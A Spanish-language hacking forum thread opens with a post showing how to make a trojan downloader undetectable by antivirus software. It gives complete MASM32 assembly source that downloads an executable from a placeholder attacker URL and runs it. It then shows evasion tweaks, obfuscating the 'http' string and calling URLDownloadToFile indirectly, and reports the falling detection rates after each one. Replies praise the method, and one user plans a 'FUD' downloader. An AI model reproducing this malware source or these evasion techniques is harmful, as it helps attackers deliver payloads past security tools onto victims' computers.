Los antivirus y sus "poderosas" heurísticas

Iniciado por [ANTRAX], 21 Junio 2010, 18:04 PM

0 Miembros y 2 Visitantes están viendo este tema.

[ANTRAX]

En este post vamos a ver cuán sencillo es hacer indetectable un troyano. Cogeremos el más simple posible, Troyan.Downloader, un pequeño programa que se baja un exe de una página web y lo ejecuta con CreateProcess.

Éste es el código fuente original, que compila bajo masm32:

Código (asm) [Seleccionar]
.386
.model flat, stdcall ; 32 bit memory model
option casemap :none ; case sensitive

include \MASM32\INCLUDE\windows.inc
include \MASM32\INCLUDE\kernel32.inc
include \MASM32\INCLUDE\urlmon.inc
include \MASM32\INCLUDE\shell32.inc

includelib \MASM32\LIB\kernel32.lib
includelib \MASM32\LIB\urlmon.lib
includelib \MASM32\LIB\shell32.lib

; #########################################
.data
web db "http://mitroyano.com/test.exe",0
open db "open",0
dir db "test.exe",0 (0) ; buffer for command line
pinfo dd 4 dup (0) ;process handles
startupinfo db 48h dup (0) ;startup info for the process were opening

.code

start:
push NULL
push 0
push offset dir
push offset web
push NULL
CALL URLDownloadToFile

push offset pinfo
push offset startupinfo
push NULL
push NULL
push NULL
push TRUE
push NULL
push NULL
push NULL
push offset dir ; Pointer to name of executable mod
call CreateProcessA

push 0
call ExitProcess

end start

; ####################


He marcado en negrita las tres cosas que son importantes en cuánto a comportamiento vírico se refiere:

(1) un string de una web de dónde se descarga el exe: http://...
(2) la llamada a URLDownloadToFile
(3) la llamada a CreateProcess.

Éste es el análisis del virus antes de modificarlo.


Por cierto, ya es bastante grave que antivirus como F-PROT, AVG, bitdefender no cataloguen correctamente nuestro troyano. Pero sigamos.



Ahora haremos un pequeño cambio. Subsituiremos http por wttp y restauraremos el string al principio del programa:




Código (asm) [Seleccionar]
web DB "wttp://mitroyano.com/troyano.exe", 0
[...]
Lea Eax, [web]
Mov Byte Ptr [Eax], 'h'


Con esto, nos quitamos de encima uno de los antivirus (avira). Aquí tenéis el análisis.

http://scanner.novirusthanks.org/analysis/e97f5f997c712b39eb038b03db949d7c/UHJveWVjdG8xLmV4ZQ==/

Nuestro siguiente paso va a ser quitar esa llamada tan fea que tenemos a
URLDownloadToFile, que canta muchísimo. ¿Cómo? Pues simplemente vemos con un debugger la primera instrucción que ejecuta la función, que en este caso es mov edi, edi, la copiamos en nuestro programa y luego llamamos a la API con un call eax:

Código (asm) [Seleccionar]
Push NULL
Push 0
push offset dir
push offset web
Push NULL
;Call URLDownloadToFile
Mov Edi, Edi
Mov Eax, URLDownloadToFile
Inc Eax
Inc Eax
Call Eax

Notar que hemos puesto dos inc eax porque la longitud de la instrucción mov edi, edi es dos.

Después de tan complicado cambio, el resultado es que tan sólo Dr.Web lo detecta. ¿Análisis heurístico? ¿Sandboxes? Mejor no digo nada ...


Fuente:
http://hacking-avanzado.blogspot.com

[Zero]

Vale lo de la heurística, pero las sandbox's no tienen nada que ver con ésto. Además, las proactivas de los antivirus sí detectarían lo que estás haciendo, ahí es donde avanzan con el paso de las versiones. De todas formas, buen texto  :P.

Saludos

"El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche

Karcrack

He modificado el Post para dejarlo mas bonito ;)

Voy a intentar hacer un pequueño Downloader FUD, me han entrado ganas :laugh: ;)

[ANTRAX]

Cita de: Karcrack en 21 Junio 2010, 19:37 PM
He modificado el Post para dejarlo mas bonito ;)

Voy a intentar hacer un pequueño Downloader FUD, me han entrado ganas :laugh: ;)

Gracias por editarme el post, olvide de usar el GeSHi, sinceramente ahora si quedo mas bonito.

Espero que este post les sirva para seguir experimentando

kisk

La vieja escuela me da nostalgia la nueva me da naucias dime cual es la escuela si ambas me deprimen (8)

Karcrack

#5
Cita de: kisk en 23 Junio 2010, 03:23 AM
Si es Mov edi,edi es ridiculo ponerlo XD
http://blogs.msdn.com/b/ishai/archive/2004/06/24/165143.aspx
Un tema interesante...
CitarThe purpose of the, otherwise, useless "MOV EDI, EDI" is to provide with a total of 5 known bytes at the start of a function.
Five because that's the length of a "JMP XXXXXXXX", so those functions can be hotpatched without need to disassemble their prolog to figure out how many bytes need to be saved.

No es necesario ejecutarlo para este ejemplo, pero es interesante por que esta ahi :)

kisk

Cita de: Karcrack en 23 Junio 2010, 12:30 PM
Cita de: kisk en 23 Junio 2010, 03:23 AM
Si es Mov edi,edi es ridiculo ponerlo XD
http://blogs.msdn.com/b/ishai/archive/2004/06/24/165143.aspx
Un tema interesante...
CitarThe purpose of the, otherwise, useless "MOV EDI, EDI" is to provide with a total of 5 known bytes at the start of a function.
Five because that's the length of a "JMP XXXXXXXX", so those functions can be hotpatched without need to disassemble their prolog to figure out how many bytes need to be saved.

No es necesario ejecutarlo para este ejemplo, pero es interesante por que esta ahi :)

Si se por que esta el mov edi,edi pero es ridiculo ponerlo en el codigo ya que solo ocupa espacio y vuelve mas lento el codigo :P
La vieja escuela me da nostalgia la nueva me da naucias dime cual es la escuela si ambas me deprimen (8)

Debci

Muy interesante, pero creo que al final acabaran cubriendo estos tips tan simples.

Saludos